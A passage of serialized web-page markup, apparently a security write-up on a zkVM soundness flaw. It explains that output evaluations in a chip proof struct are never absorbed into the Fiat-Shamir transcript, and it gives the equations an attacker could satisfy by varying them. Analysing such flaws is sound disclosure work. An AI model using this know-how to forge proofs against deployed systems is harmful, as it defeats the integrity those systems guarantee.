40],[119940],{"type":31,"value":23243},{"type":25,"tag":201,"props":119942,"children":119944},{"className":119943},[5539],[119945],{"type":25,"tag":201,"props":119946,"children":119948},{"className":119947,"style":115369},[5544],[119949],{"type":25,"tag":201,"props":119950,"children":119951},{},[],{"type":25,"tag":201,"props":119953,"children":119955},{"className":119954,"style":5632},[5593],[],{"type":25,"tag":201,"props":119957,"children":119959},{"className":119958},[5513,31],[119960],{"type":25,"tag":201,"props":119961,"children":119963},{"className":119962},[5513],[119964],{"type":31,"value":50649},{"type":25,"tag":201,"props":119966,"children":119968},{"className":119967,"style":94131},[5513],[119969],{"type":31,"value":4589},{"type":25,"tag":201,"props":119971,"children":119973},{"className":119972},[5513,31],[119974],{"type":25,"tag":201,"props":119975,"children":119977},{"className":119976},[5513],[119978],{"type":31,"value":119805},{"type":25,"tag":201,"props":119980,"children":119982},{"className":119981,"style":94131},[5513],[119983],{"type":31,"value":4589},{"type":25,"tag":201,"props":119985,"children":119987},{"className":119986},[5513],[119988,119997],{"type":25,"tag":201,"props":119989,"children":119991},{"className":119990},[5513,31],[119992],{"type":25,"tag":201,"props":119993,"children":119995},{"className":119994},[5513],[119996],{"type":31,"value":119824},{"type":25,"tag":201,"props":119998,"children":120000},{"className":119999},[5529],[120001],{"type":25,"tag":201,"props":120002,"children":120004},{"className":120003},[5534,23137],[120005,120034],{"type":25,"tag":201,"props":120006,"children":120008},{"className":120007},[5539],[120009,120029],{"type":25,"tag":201,"props":120010,"children":120012},{"className":120011,"style":94660},[5544],[120013],{"type":25,"tag":201,"props":120014,"children":120015},{"style":115261},[120016,120020],{"type":25,"tag":201,"props":120017,"children":120019},{"className":120018,"style":5554},[5553],[],{"type":25,"tag":201,"props":120021,"children":120023},{"className":120022},[5559,5560,5561,5562],[120024],{"type":25,"tag":201,"props":120025,"children":120027},{"className":120026,"style":115354},[5513,23083,5562],[120028],{"type":31,"value":10164},{"type":25,"tag":201,"props":120030,"children":120032},{"className":120031},[23240],[120033],{"type":31,"value":23243},{"type":25,"tag":201,"props":120035,"children":120037},{"className":120036},[5539],[120038],{"type":25,"tag":201,"props":120039,"children":120042},{"className":120040,"style":120041},[5544],"height:0.2861em;",[120043],{"type":25,"tag":201,"props":120044,"children":120045},{},[],{"type":25,"tag":201,"props":120047,"children":120049},{"className":120048,"style":5594},[5593],[],{"type":25,"tag":201,"props":120051,"children":120053},{"className":120052},[5599],[120054],{"type":31,"value":112393},{"type":25,"tag":201,"props":120056,"children":120058},{"className":120057,"style":5594},[5593],[],{"type":25,"tag":201,"props":120060,"children":120062},{"className":120061},[5502],[120063,120067,120072,120082],{"type":25,"tag":201,"props":120064,"children":120066},{"className":120065,"style":5614},[5507],[],{"type":25,"tag":201,"props":120068,"children":120070},{"className":120069},[23212],[120071],{"type":31,"value":298},{"type":25,"tag":201,"props":120073,"children":120075},{"className":120074},[5513,31],[120076],{"type":25,"tag":201,"props":120077,"children":120079},{"className":120078},[5513],[120080],{"type":31,"value":120081},"state factors",{"type":25,"tag":201,"props":120083,"children":120085},{"className":120084},[23234],[120086],{"type":31,"value":3073},{"type":25,"tag":34,"props":120088,"children":120089},{},[120090],{"type":25,"tag":1252,"props":120091,"children":120092},{},[120093],{"type":31,"value":116547},{"type":25,"tag":191,"props":120095,"children":120097},{"code":120096},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[120098],{"type":25,"tag":115,"props":120099,"children":120100},{"__ignoreMap":7},[120101],{"type":31,"value":120096},{"type":25,"tag":34,"props":120103,"children":120104},{},[120105,120111,120112,120118,120119,120125],{"type":25,"tag":115,"props":120106,"children":120108},{"className":120107},[],[120109],{"type":31,"value":120110},"r_out_evals",{"type":31,"value":919},{"type":25,"tag":115,"props":120113,"children":120115},{"className":120114},[],[120116],{"type":31,"value":120117},"w_out_evals",{"type":31,"value":7996},{"type":25,"tag":115,"props":120120,"children":120122},{"className":120121},[],[120123],{"type":31,"value":120124},"lk_out_evals",{"type":31,"value":120126}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":25,"tag":6944,"props":120128,"children":120129},{},[120130],{"type":25,"tag":6948,"props":120131,"children":120132},{},[120133,120138,120140,120146],{"type":25,"tag":1252,"props":120134,"children":120135},{},[120136],{"type":31,"value":120137},"GKR/Tower equation",{"type":31,"value":120139}," (linear in ",{"type":25,"tag":115,"props":120141,"children":120143},{"className":120142},[],[120144],{"type":31,"value":120145},"out_evals",{"type":31,"value":25431},{"type":25,"tag":34,"props":120148,"children":120149},{},[120150,120152],{"type":31,"value":120151},"The tower sumcheck claim is ",{"type":25,"tag":115,"props":120153,"children":120155},{"className":120154},[5485,5486],[120156],{"type":25,"tag":201,"props":120157,"children":120159},{"className":120158},[5491],[120160],{"type":25,"tag":201,"props":120161,"children":120163},{"className":120162,"ariaHidden":5497},[5496],[120164,120195,120320],{"type":25,"tag":201,"props":120165,"children":120167},{"className":120166},[5502],[120168,120172,120182,120186,120191],{"type":25,"tag":201,"props":120169,"children":120171},{"className":120170,"style":94046},[5507],[],{"type":25,"tag":201,"props":120173,"children":120175},{"className":120174},[5513,31],[120176],{"type":25,"tag":201,"props":120177,"children":120179},{"className":120178},[5513],[120180],{"type":31,"value":120181},"claim",{"type":25,"tag":201,"props":120183,"children":120185},{"className":120184,"style":5691},[5593],[],{"type":25,"tag":201,"props":120187,"children":120189},{"className":120188},[5696],[120190],{"type":31,"value":1383},{"type":25,"tag":201,"props":120192,"children":120194},{"className":120193,"style":5691},[5593],[],{"type":25,"tag":201,"props":120196,"children":120198},{"className":120197},[5502],[120199,120204,120261,120265,120307,120311,120316],{"type":25,"tag":201,"props":120200,"children":120203},{"className":120201,"style":120202},[5507],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":25,"tag":201,"props":120205,"children":120207},{"className":120206},[23119],[120208,120213],{"type":25,"tag":201,"props":120209,"children":120211},{"className":120210,"style":23126},[23119,23124,23125],[120212],{"type":31,"value":109926},{"type":25,"tag":201,"props":120214,"children":120216},{"className":120215},[5529],[120217],{"type":25,"tag":201,"props":120218,"children":120220},{"className":120219},[5534,23137],[120221,120250],{"type":25,"tag":201,"props":120222,"children":120224},{"className":120223},[5539],[120225,120245],{"type":25,"tag":201,"props":120226,"children":120228},{"className":120227,"style":115338},[5544],[120229],{"type":25,"tag":201,"props":120230,"children":120231},{"style":23150},[120232,120236],{"type":25,"tag":201,"props":120233,"children":120235},{"className":120234,"style":5554},[5553],[],{"type":25,"tag":201,"props":120237,"children":120239},{"className":120238},[5559,5560,5561,5562],[120240],{"type":25,"tag":201,"props":120241,"children":120243},{"className":120242,"style":115354},[5513,23083,5562],[120244],{"type":31,"value":10164},{"type":25,"tag":201,"props":120246,"children":120248},{"className":120247},[23240],[120249],{"type":31,"value":23243},{"type":25,"tag":201,"props":120251,"children":120253},{"className":120252},[5539],[120254],{"type":25,"tag":201,"props":120255,"children":120257},{"className":120256,"style":115369},[5544],[120258],{"type":25,"tag":201,"props":120259,"children":120260},{},[],{"type":25,"tag":201,"props":120262,"children":120264},{"className":120263,"style":5632},[5593],[],{"type":25,"tag":201,"props":120266,"children":120268},{"className":120267},[5513],[120269,120274],{"type":25,"tag":201,"props":120270,"children":120272},{"className":120271,"style":116219},[5513,23083],[120273],{"type":31,"value":116222},{"type":25,"tag":201,"props":120275,"children":120277},{"className":120276},[5529],[120278],{"type":25,"tag":201,"props":120279,"children":120281},{"className":120280},[5534],[120282],{"type":25,"tag":201,"props":120283,"children":120285},{"className":120284},[5539],[120286],{"type":25,"tag":201,"props":120287,"children":120290},{"className":120288,"style":120289},[5544],"height:0.8247em;",[120291],{"type":25,"tag":201,"props":120292,"children":120293},{"style":5548},[120294,120298],{"type":25,"tag":201,"props":120295,"children":120297},{"className":120296,"style":5554},[5553],[],{"type":25,"tag":201,"props":120299,"children":120301},{"className":120300},[5559,5560,5561,5562],[120302],{"type":25,"tag":201,"props":120303,"children":120305},{"className":120304,"style":115354},[5513,23083,5562],[120306],{"type":31,"value":10164},{"type":25,"tag":201,"props":120308,"children":120310},{"className":120309,"style":5594},[5593],[],{"type":25,"tag":201,"props":120312,"children":120314},{"className":120313},[5599],[120315],{"type":31,"value":112393},{"type":25,"tag":201,"props":120317,"children":120319},{"className":120318,"style":5594},[5593],[],{"type":25,"tag":201,"props":120321,"children":120323},{"className":120322},[5502],[120324,120328,120337,120342],{"type":25,"tag":201,"props":120325,"children":120327},{"className":120326,"style":95544},[5507],[],{"type":25,"tag":201,"props":120329,"children":120331},{"className":120330},[5513,31],[120332],{"type":25,"tag":201,"props":120333,"children":120335},{"className":120334},[5513],[120336],{"type":31,"value":119805},{"type":25,"tag":201,"props":120338,"children":120340},{"className":120339,"style":94131},[5513],[120341],{"type":31,"value":4589},{"type":25,"tag":201,"props":120343,"children":120345},{"className":120344},[5513],[120346,120355],{"type":25,"tag":201,"props":120347,"children":120349},{"className":120348},[5513,31],[120350],{"type":25,"tag":201,"props":120351,"children":120353},{"className":120352},[5513],[120354],{"type":31,"value":119824},{"type":25,"tag":201,"props":120356,"children":120358},{"className":120357},[5529],[120359],{"type":25,"tag":201,"props":120360,"children":120362},{"className":120361},[5534,23137],[120363,120392],{"type":25,"tag":201,"props":120364,"children":120366},{"className":120365},[5539],[120367,120387],{"type":25,"tag":201,"props":120368,"children":120370},{"className":120369,"style":94660},[5544],[120371],{"type":25,"tag":201,"props":120372,"children":120373},{"style":115261},[120374,120378],{"type":25,"tag":201,"props":120375,"children":120377},{"className":120376,"style":5554},[5553],[],{"type":25,"tag":201,"props":120379,"children":120381},{"className":120380},[5559,5560,5561,5562],[120382],{"type":25,"tag":201,"props":120383,"children":120385},{"className":120384,"style":115354},[5513,23083,5562],[120386],{"type":31,"value":10164},{"type":25,"tag":201,"props":120388,"children":120390},{"className":120389},[23240],[120391],{"type":31,"value":23243},{"type":25,"tag":201,"props":120393,"children":120395},{"className":120394},[5539],[120396],{"type":25,"tag":201,"props":120397,"children":120399},{"className":120398,"style":120041},[5544],[120400],{"type":25,"tag":201,"props":120401,"children":120402},{},[],{"type":25,"tag":34,"props":120404,"children":120405},{},[120406,120408,120413],{"type":31,"value":120407},"This check is linear in ",{"type":25,"tag":115,"props":120409,"children":120411},{"className":120410},[],[120412],{"type":31,"value":120145},{"type":31,"value":80},{"type":25,"tag":6944,"props":120415,"children":120416},{"start":226},[120417],{"type":25,"tag":6948,"props":120418,"children":120419},{},[120420,120425,120427,120432],{"type":25,"tag":1252,"props":120421,"children":120422},{},[120423],{"type":31,"value":120424},"rw-product consistency",{"type":31,"value":120426}," (bilinear in ",{"type":25,"tag":115,"props":120428,"children":120430},{"className":120429},[],[120431],{"type":31,"value":120145},{"type":31,"value":25431},{"type":25,"tag":34,"props":120434,"children":120435},{},[120436],{"type":25,"tag":115,"props":120437,"children":120439},{"className":120438},[5485,5486],[120440],{"type":25,"tag":201,"props":120441,"children":120443},{"className":120442},[5491],[120444],{"type":25,"tag":201,"props":120445,"children":120447},{"className":120446,"ariaHidden":5497},[5496],[120448,120619,120790],{"type":25,"tag":201,"props":120449,"children":120451},{"className":120450},[5502],[120452,120456,120513,120517,120526,120531,120540,120545,120606,120610,120615],{"type":25,"tag":201,"props":120453,"children":120455},{"className":120454,"style":94073},[5507],[],{"type":25,"tag":201,"props":120457,"children":120459},{"className":120458},[23119],[120460,120465],{"type":25,"tag":201,"props":120461,"children":120463},{"className":120462,"style":23126},[23119,23124,23125],[120464],{"type":31,"value":119729},{"type":25,"tag":201,"props":120466,"children":120468},{"className":120467},[5529],[120469],{"type":25,"tag":201,"props":120470,"children":120472},{"className":120471},[5534,23137],[120473,120502],{"type":25,"tag":201,"props":120474,"children":120476},{"className":120475},[5539],[120477,120497],{"type":25,"tag":201,"props":120478,"children":120480},{"className":120479,"style":115338},[5544],[120481],{"type":25,"tag":201,"props":120482,"children":120483},{"style":23150},[120484,120488],{"type":25,"tag":201,"props":120485,"children":120487},{"className":120486,"style":5554},[5553],[],{"type":25,"tag":201,"props":120489,"children":120491},{"className":120490},[5559,5560,5561,5562],[120492],{"type":25,"tag":201,"props":120493,"children":120495},{"className":120494},[5513,23083,5562],[120496],{"type":31,"value":3641},{"type":25,"tag":201,"props":120498,"children":120500},{"className":120499},[23240],[120501],{"type":31,"value":23243},{"type":25,"tag":201,"props":120503,"children":120505},{"className":120504},[5539],[120506],{"type":25,"tag":201,"props":120507,"children":120509},{"className":120508,"style":115618},[5544],[120510],{"type":25,"tag":201,"props":120511,"children":120512},{},[],{"type":25,"tag":201,"props":120514,"children":120516},{"className":120515,"style":5632},[5593],[],{"type":25,"tag":201,"props":120518,"children":120520},{"className":120519},[5513,31],[120521],{"type":25,"tag":201,"props":120522,"children":120524},{"className":120523},[5513],[120525],{"type":31,"value":94950},{"type":25,"tag":201,"props":120527,"children":120529},{"className":120528,"style":94131},[5513],[120530],{"type":31,"value":4589},{"type":25,"tag":201,"props":120532,"children":120534},{"className":120533},[5513,31],[120535],{"type":25,"tag":201,"props":120536,"children":120538},{"className":120537},[5513],[120539],{"type":31,"value":119805},{"type":25,"tag":201,"props":120541,"children":120543},{"className":120542,"style":94131},[5513],[120544],{"type":31,"value":4589},{"type":25,"tag":201,"props":120546,"children":120548},{"className":120547},[5513],[120549,120558],{"type":25,"tag":201,"props":120550,"children":120552},{"className":120551},[5513,31],[120553],{"type":25,"tag":201,"props":120554,"children":120556},{"className":120555},[5513],[120557],{"type":31,"value":119824},{"type":25,"tag":201,"props":120559,"children":120561},{"className":120560},[5529],[120562],{"type":25,"tag":201,"props":120563,"children":120565},{"className":120564},[5534,23137],[120566,120595],{"type":25,"tag":201,"props":120567,"children":120569},{"className":120568},[5539],[120570,120590],{"type":25,"tag":201,"props":120571,"children":120573},{"className":120572,"style":94660},[5544],[120574],{"type":25,"tag":201,"props":120575,"children":120576},{"style":115261},[120577,120581],{"type":25,"tag":201,"props":120578,"children":120580},{"className":120579,"style":5554},[5553],[],{"type":25,"tag":201,"props":120582,"children":120584},{"className":120583},[5559,5560,5561,5562],[120585],{"type":25,"tag":201,"props":120586,"children":120588},{"className":120587},[5513,23083,5562],[120589],{"type":31,"value":3641},{"type":25,"tag":201,"props":120591,"children":120593},{"className":120592},[23240],[120594],{"type":31,"value":23243},{"type":25,"tag":201,"props":120596,"children":120598},{"className":120597},[5539],[120599],{"type":25,"tag":201,"props":120600,"children":120602},{"className":120601,"style":94214},[5544],[120603],{"type":25,"tag":201,"props":120604,"children":120605},{},[],{"type":25,"tag":201,"props":120607,"children":120609},{"className":120608,"style":5691},[5593],[],{"type":25,"tag":201,"props":120611,"children":120613},{"className":120612},[5696],[120614],{"type":31,"value":1383},{"type":25,"tag":201,"props":120616,"children":120618},{"className":120617,"style":5691},[5593],[],{"type":25,"tag":201,"props":120620,"children":120622},{"className":120621},[5502],[120623,120627,120684,120688,120697,120702,120711,120716,120777,120781,120786],{"type":25,"tag":201,"props":120624,"children":120626},{"className":120625,"style":119893},[5507],[],{"type":25,"tag":201,"props":120628,"children":120630},{"className":120629},[23119],[120631,120636],{"type":25,"tag":201,"props":120632,"children":120634},{"className":120633,"style":23126},[23119,23124,23125],[120635],{"type":31,"value":119729},{"type":25,"tag":201,"props":120637,"children":120639},{"className":120638},[5529],[120640],{"type":25,"tag":201,"props":120641,"children":120643},{"className":120642},[5534,23137],[120644,120673],{"type":25,"tag":201,"props":120645,"children":120647},{"className":120646},[5539],[120648,120668],{"type":25,"tag":201,"props":120649,"children":120651},{"className":120650,"style":115338},[5544],[120652],{"type":25,"tag":201,"props":120653,"children":120654},{"style":23150},[120655,120659],{"type":25,"tag":201,"props":120656,"children":120658},{"className":120657,"style":5554},[5553],[],{"type":25,"tag":201,"props":120660,"children":120662},{"className":120661},[5559,5560,5561,5562],[120663],{"type":25,"tag":201,"props":120664,"children":120666},{"className":120665,"style":115354},[5513,23083,5562],[120667],{"type":31,"value":10164},{"type":25,"tag":201,"props":120669,"children":120671},{"className":120670},[23240],[120672],{"type":31,"value":23243},{"type":25,"tag":201,"props":120674,"children":120676},{"className":120675},[5539],[120677],{"type":25,"tag":201,"props":120678,"children":120680},{"className":120679,"style":115369},[5544],[120681],{"type":25,"tag":201,"props":120682,"children":120683},{},[],{"type":25,"tag":201,"props":120685,"children":120687},{"className":120686,"style":5632},[5593],[],{"type":25,"tag":201,"props":120689,"children":120691},{"className":120690},[5513,31],[120692],{"type":25,"tag":201,"props":120693,"children":120695},{"className":120694},[5513],[120696],{"type":31,"value":50649},{"type":25,"tag":201,"props":120698,"children":120700},{"className":120699,"style":94131},[5513],[120701],{"type":31,"value":4589},{"type":25,"tag":201,"props":120703,"children":120705},{"className":120704},[5513,31],[120706],{"type":25,"tag":201,"props":120707,"children":120709},{"className":120708},[5513],[120710],{"type":31,"value":119805},{"type":25,"tag":201,"props":120712,"children":120714},{"className":120713,"style":94131},[5513],[120715],{"type":31,"value":4589},{"type":25,"tag":201,"props":120717,"children":120719},{"className":120718},[5513],[120720,120729],{"type":25,"tag":201,"props":120721,"children":120723},{"className":120722},[5513,31],[120724],{"type":25,"tag":201,"props":120725,"children":120727},{"className":120726},[5513],[120728],{"type":31,"value":119824},{"type":25,"tag":201,"props":120730,"children":120732},{"className":120731},[5529],[120733],{"type":25,"tag":201,"props":120734,"children":120736},{"className":120735},[5534,23137],[120737,120766],{"type":25,"tag":201,"props":120738,"children":120740},{"className":120739},[5539],[120741,120761],{"type":25,"tag":201,"props":120742,"children":120744},{"className":120743,"style":94660},[5544],[120745],{"type":25,"tag":201,"props":120746,"children":120747},{"style":115261},[120748,120752],{"type":25,"tag":201,"props":120749,"children":120751},{"className":120750,"style":5554},[5553],[],{"type":25,"tag":201,"props":120753,"children":120755},{"className":120754},[5559,5560,5561,5562],[120756],{"type":25,"tag":201,"props":120757,"children":120759},{"className":120758,"style":115354},[5513,23083,5562],[120760],{"type":31,"value":10164},{"type":25,"tag":201,"props":120762,"children":120764},{"className":120763},[23240],[120765],{"type":31,"value":23243},{"type":25,"tag":201,"props":120767,"children":120769},{"className":120768},[5539],[120770],{"type":25,"tag":201,"props":120771,"children":120773},{"className":120772,"style":120041},[5544],[120774],{"type":25,"tag":201,"props":120775,"children":120776},{},[],{"type":25,"tag":201,"props":120778,"children":120780},{"className":120779,"style":5594},[5593],[],{"type":25,"tag":201,"props":120782,"children":120784},{"className":120783},[5599],[120785],{"type":31,"value":112393},{"type":25,"tag":201,"props":120787,"children":120789},{"className":120788,"style":5594},[5593],[],{"type":25,"tag":201,"props":120791,"children":120793},{"className":120792},[5502],[120794,120798,120803,120812],{"type":25,"tag":201,"props":120795,"children":120797},{"className":120796,"style":5614},[5507],[],{"type":25,"tag":201,"props":120799,"children":120801},{"className":120800},[23212],[120802],{"type":31,"value":298},{"type":25,"tag":201,"props":120804,"children":120806},{"className":120805},[5513,31],[120807],{"type":25,"tag":201,"props":120808,"children":120810},{"className":120809},[5513],[120811],{"type":31,"value":120081},{"type":25,"tag":201,"props":120813,"children":120815},{"className":120814},[23234],[120816],{"type":31,"value":3073},{"type":25,"tag":34,"props":120818,"children":120819},{},[120820,120822,120991,120992,121161],{"type":31,"value":120821},"If we vary ",{"type":25,"tag":115,"props":120823,"children":120825},{"className":120824},[5485,5486],[120826],{"type":25,"tag":201,"props":120827,"children":120829},{"className":120828},[5491],[120830],{"type":25,"tag":201,"props":120831,"children":120833},{"className":120832,"ariaHidden":5497},[5496],[120834,120912],{"type":25,"tag":201,"props":120835,"children":120837},{"className":120836},[5502],[120838,120842,120899,120903,120908],{"type":25,"tag":201,"props":120839,"children":120841},{"className":120840,"style":111101},[5507],[],{"type":25,"tag":201,"props":120843,"children":120845},{"className":120844},[5513],[120846,120851],{"type":25,"tag":201,"props":120847,"children":120849},{"className":120848},[5513,23083],[120850],{"type":31,"value":1606},{"type":25,"tag":201,"props":120852,"children":120854},{"className":120853},[5529],[120855],{"type":25,"tag":201,"props":120856,"children":120858},{"className":120857},[5534,23137],[120859,120888],{"type":25,"tag":201,"props":120860,"children":120862},{"className":120861},[5539],[120863,120883],{"type":25,"tag":201,"props":120864,"children":120866},{"className":120865,"style":94183},[5544],[120867],{"type":25,"tag":201,"props":120868,"children":120869},{"style":94187},[120870,120874],{"type":25,"tag":201,"props":120871,"children":120873},{"className":120872,"style":5554},[5553],[],{"type":25,"tag":201,"props":120875,"children":120877},{"className":120876},[5559,5560,5561,5562],[120878],{"type":25,"tag":201,"props":120879,"children":120881},{"className":120880},[5513,5562],[120882],{"type":31,"value":429},{"type":25,"tag":201,"props":120884,"children":120886},{"className":120885},[23240],[120887],{"type":31,"value":23243},{"type":25,"tag":201,"props":120889,"children":120891},{"className":120890},[5539],[120892],{"type":25,"tag":201,"props":120893,"children":120895},{"className":120894,"style":94214},[5544],[120896],{"type":25,"tag":201,"props":120897,"children":120898},{},[],{"type":25,"tag":201,"props":120900,"children":120902},{"className":120901,"style":5691},[5593],[],{"type":25,"tag":201,"props":120904,"children":120906},{"className":120905},[5696],[120907],{"type":31,"value":1383},{"type":25,"tag":201,"props":120909,"children":120911},{"className":120910,"style":5691},[5593],[],{"type":25,"tag":201,"props":120913,"children":120915},{"className":120914},[5502],[120916,120920,120961,120966,120971,120976,120981,120986],{"type":25,"tag":201,"props":120917,"children":120919},{"className":120918,"style":94073},[5507],[],{"type":25,"tag":201,"props":120921,"children":120923},{"className":120922},[5513],[120924,120933,120938,120947,120952],{"type":25,"tag":201,"props":120925,"children":120927},{"className":120926},[5513,31],[120928],{"type":25,"tag":201,"props":120929,"children":120931},{"className":120930},[5513],[120932],{"type":31,"value":94950},{"type":25,"tag":201,"props":120934,"children":120936},{"className":120935,"style":94131},[5513],[120937],{"type":31,"value":4589},{"type":25,"tag":201,"props":120939,"children":120941},{"className":120940},[5513,31],[120942],{"type":25,"tag":201,"props":120943,"children":120945},{"className":120944},[5513],[120946],{"type":31,"value":119805},{"type":25,"tag":201,"props":120948,"children":120950},{"className":120949,"style":94131},[5513],[120951],{"type":31,"value":4589},{"type":25,"tag":201,"props":120953,"children":120955},{"className":120954},[5513,31],[120956],{"type":25,"tag":201,"props":120957,"children":120959},{"className":120958},[5513],[120960],{"type":31,"value":119824},{"type":25,"tag":201,"props":120962,"children":120964},{"className":120963},[23212],[120965],{"type":31,"value":423},{"type":25,"tag":201,"props":120967,"children":120969},{"className":120968},[5513],[120970],{"type":31,"value":429},{"type":25,"tag":201,"props":120972,"children":120974},{"className":120973},[23234],[120975],{"type":31,"value":16907},{"type":25,"tag":201,"props":120977,"children":120979},{"className":120978},[23212],[120980],{"type":31,"value":423},{"type":25,"tag":201,"props":120982,"children":120984},{"className":120983},[5513],[120985],{"type":31,"value":429},{"type":25,"tag":201,"props":120987,"children":120989},{"className":120988},[23234],[120990],{"type":31,"value":16907},{"type":31,"value":12493},{"type":25,"tag":115,"props":120993,"children":120995},{"className":120994},[5485,5486],[120996],{"type":25,"tag":201,"props":120997,"children":120999},{"className":120998},[5491],[121000],{"type":25,"tag":201,"props":121001,"children":121003},{"className":121002,"ariaHidden":5497},[5496],[121004,121082],{"type":25,"tag":201,"props":121005,"children":121007},{"className":121006},[5502],[121008,121012,121069,121073,121078],{"type":25,"tag":201,"props":121009,"children":121011},{"className":121010,"style":111101},[5507],[],{"type":25,"tag":201,"props":121013,"children":121015},{"className":121014},[5513],[121016,121021],{"type":25,"tag":201,"props":121017,"children":121019},{"className":121018},[5513,23083],[121020],{"type":31,"value":1606},{"type":25,"tag":201,"props":121022,"children":121024},{"className":121023},[5529],[121025],{"type":25,"tag":201,"props":121026,"children":121028},{"className":121027},[5534,23137],[121029,121058],{"type":25,"tag":201,"props":121030,"children":121032},{"className":121031},[5539],[121033,121053],{"type":25,"tag":201,"props":121034,"children":121036},{"className":121035,"style":94183},[5544],[121037],{"type":25,"tag":201,"props":121038,"children":121039},{"style":94187},[121040,121044],{"type":25,"tag":201,"props":121041,"children":121043},{"className":121042,"style":5554},[5553],[],{"type":25,"tag":201,"props":121045,"children":121047},{"className":121046},[5559,5560,5561,5562],[121048],{"type":25,"tag":201,"props":121049,"children":121051},{"className":121050},[5513,5562],[121052],{"type":31,"value":5516},{"type":25,"tag":201,"props":121054,"children":121056},{"className":121055},[23240],[121057],{"type":31,"value":23243},{"type":25,"tag":201,"props":121059,"children":121061},{"className":121060},[5539],[121062],{"type":25,"tag":201,"props":121063,"children":121065},{"className":121064,"style":94214},[5544],[121066],{"type":25,"tag":201,"props":121067,"children":121068},{},[],{"type":25,"tag":201,"props":121070,"children":121072},{"className":121071,"style":5691},[5593],[],{"type":25,"tag":201,"props":121074,"children":121076},{"className":121075},[5696],[121077],{"type":31,"value":1383},{"type":25,"tag":201,"props":121079,"children":121081},{"className":121080,"style":5691},[5593],[],{"type":25,"tag":201,"props":121083,"children":121085},{"className":121084},[5502],[121086,121090,121131,121136,121141,121146,121151,121156],{"type":25,"tag":201,"props":121087,"children":121089},{"className":121088,"style":94073},[5507],[],{"type":25,"tag":201,"props":121091,"children":121093},{"className":121092},[5513],[121094,121103,121108,121117,121122],{"type":25,"tag":201,"props":121095,"children":121097},{"className":121096},[5513,31],[121098],{"type":25,"tag":201,"props":121099,"children":121101},{"className":121100},[5513],[121102],{"type":31,"value":94950},{"type":25,"tag":201,"props":121104,"children":121106},{"className":121105,"style":94131},[5513],[121107],{"type":31,"value":4589},{"type":25,"tag":201,"props":121109,"children":121111},{"className":121110},[5513,31],[121112],{"type":25,"tag":201,"props":121113,"children":121115},{"className":121114},[5513],[121116],{"type":31,"value":119805},{"type":25,"tag":201,"props":121118,"children":121120},{"className":121119,"style":94131},[5513],[121121],{"type":31,"value":4589},{"type":25,"tag":201,"props":121123,"children":121125},{"className":121124},[5513,31],[121126],{"type":25,"tag":201,"props":121127,"children":121129},{"className":121128},[5513],[121130],{"type":31,"value":119824},{"type":25,"tag":201,"props":121132,"children":121134},{"className":121133},[23212],[121135],{"type":31,"value":423},{"type":25,"tag":201,"props":121137,"children":121139},{"className":121138},[5513],[121140],{"type":31,"value":429},{"type":25,"tag":201,"props":121142,"children":121144},{"className":121143},[23234],[121145],{"type":31,"value":16907},{"type":25,"tag":201,"props":121147,"children":121149},{"className":121148},[23212],[121150],{"type":31,"value":423},{"type":25,"tag":201,"props":121152,"children":121154},{"className":121153},[5513],[121155],{"type":31,"value":5516},{"type":25,"tag":201,"props":121157,"children":121159},{"className":121158},[23234],[121160],{"type":31,"value":16907},{"type":31,"value":121162}," we get the following constraint:",{"type":25,"tag":34,"props":121164,"children":121165},{},[121166],{"type":25,"tag":115,"props":121167,"children":121169},{"className":121168},[5485,5486],[121170],{"type":25,"tag":201,"props":121171,"children":121173},{"className":121172},[5491],[121174],{"type":25,"tag":201,"props":121175,"children":121177},{"className":121176,"ariaHidden":5497},[5496],[121178,121257,121335,121376],{"type":25,"tag":201,"props":121179,"children":121181},{"className":121180},[5502],[121182,121187,121244,121248,121253],{"type":25,"tag":201,"props":121183,"children":121186},{"className":121184,"style":121185},[5507],"height:0.5945em;vertical-align:-0.15em;",[],{"type":25,"tag":201,"props":121188,"children":121190},{"className":121189},[5513],[121191,121196],{"type":25,"tag":201,"props":121192,"children":121194},{"className":121193},[5513,23083],[121195],{"type":31,"value":1606},{"type":25,"tag":201,"props":121197,"children":121199},{"className":121198},[5529],[121200],{"type":25,"tag":201,"props":121201,"children":121203},{"className":121202},[5534,23137],[121204,121233],{"type":25,"tag":201,"props":121205,"children":121207},{"className":121206},[5539],[121208,121228],{"type":25,"tag":201,"props":121209,"children":121211},{"className":121210,"style":94183},[5544],[121212],{"type":25,"tag":201,"props":121213,"children":121214},{"style":94187},[121215,121219],{"type":25,"tag":201,"props":121216,"children":121218},{"className":121217,"style":5554},[5553],[],{"type":25,"tag":201,"props":121220,"children":121222},{"className":121221},[5559,5560,5561,5562],[121223],{"type":25,"tag":201,"props":121224,"children":121226},{"className":121225},[5513,5562],[121227],{"type":31,"value":429},{"type":25,"tag":201,"props":121229,"children":121231},{"className":121230},[23240],[121232],{"type":31,"value":23243},{"type":25,"tag":201,"props":121234,"children":121236},{"className":121235},[5539],[121237],{"type":25,"tag":201,"props":121238,"children":121240},{"className":121239,"style":94214},[5544],[121241],{"type":25,"tag":201,"props":121242,"children":121243},{},[],{"type":25,"tag":201,"props":121245,"children":121247},{"className":121246,"style":5594},[5593],[],{"type":25,"tag":201,"props":121249,"children":121251},{"className":121250},[5599],[121252],{"type":31,"value":112393},{"type":25,"tag":201,"props":121254,"children":121256},{"className":121255,"style":5594},[5593],[],{"type":25,"tag":201,"props":121258,"children":121260},{"className":121259},[5502],[121261,121265,121322,121326,121331],{"type":25,"tag":201,"props":121262,"children":121264},{"className":121263,"style":121185},[5507],[],{"type":25,"tag":201,"props":121266,"children":121268},{"className":121267},[5513],[121269,121274],{"type":25,"tag":201,"props":121270,"children":121272},{"className":121271},[5513,23083],[121273],{"type":31,"value":1606},{"type":25,"tag":201,"props":121275,"children":121277},{"className":121276},[5529],[121278],{"type":25,"tag":201,"props":121279,"children":121281},{"className":121280},[5534,23137],[121282,121311],{"type":25,"tag":201,"props":121283,"children":121285},{"className":121284},[5539],[121286,121306],{"type":25,"tag":201,"props":121287,"children":121289},{"className":121288,"style":94183},[5544],[121290],{"type":25,"tag":201,"props":121291,"children":121292},{"style":94187},[121293,121297],{"type":25,"tag":201,"props":121294,"children":121296},{"className":121295,"style":5554},[5553],[],{"type":25,"tag":201,"props":121298,"children":121300},{"className":121299},[5559,5560,5561,5562],[121301],{"type"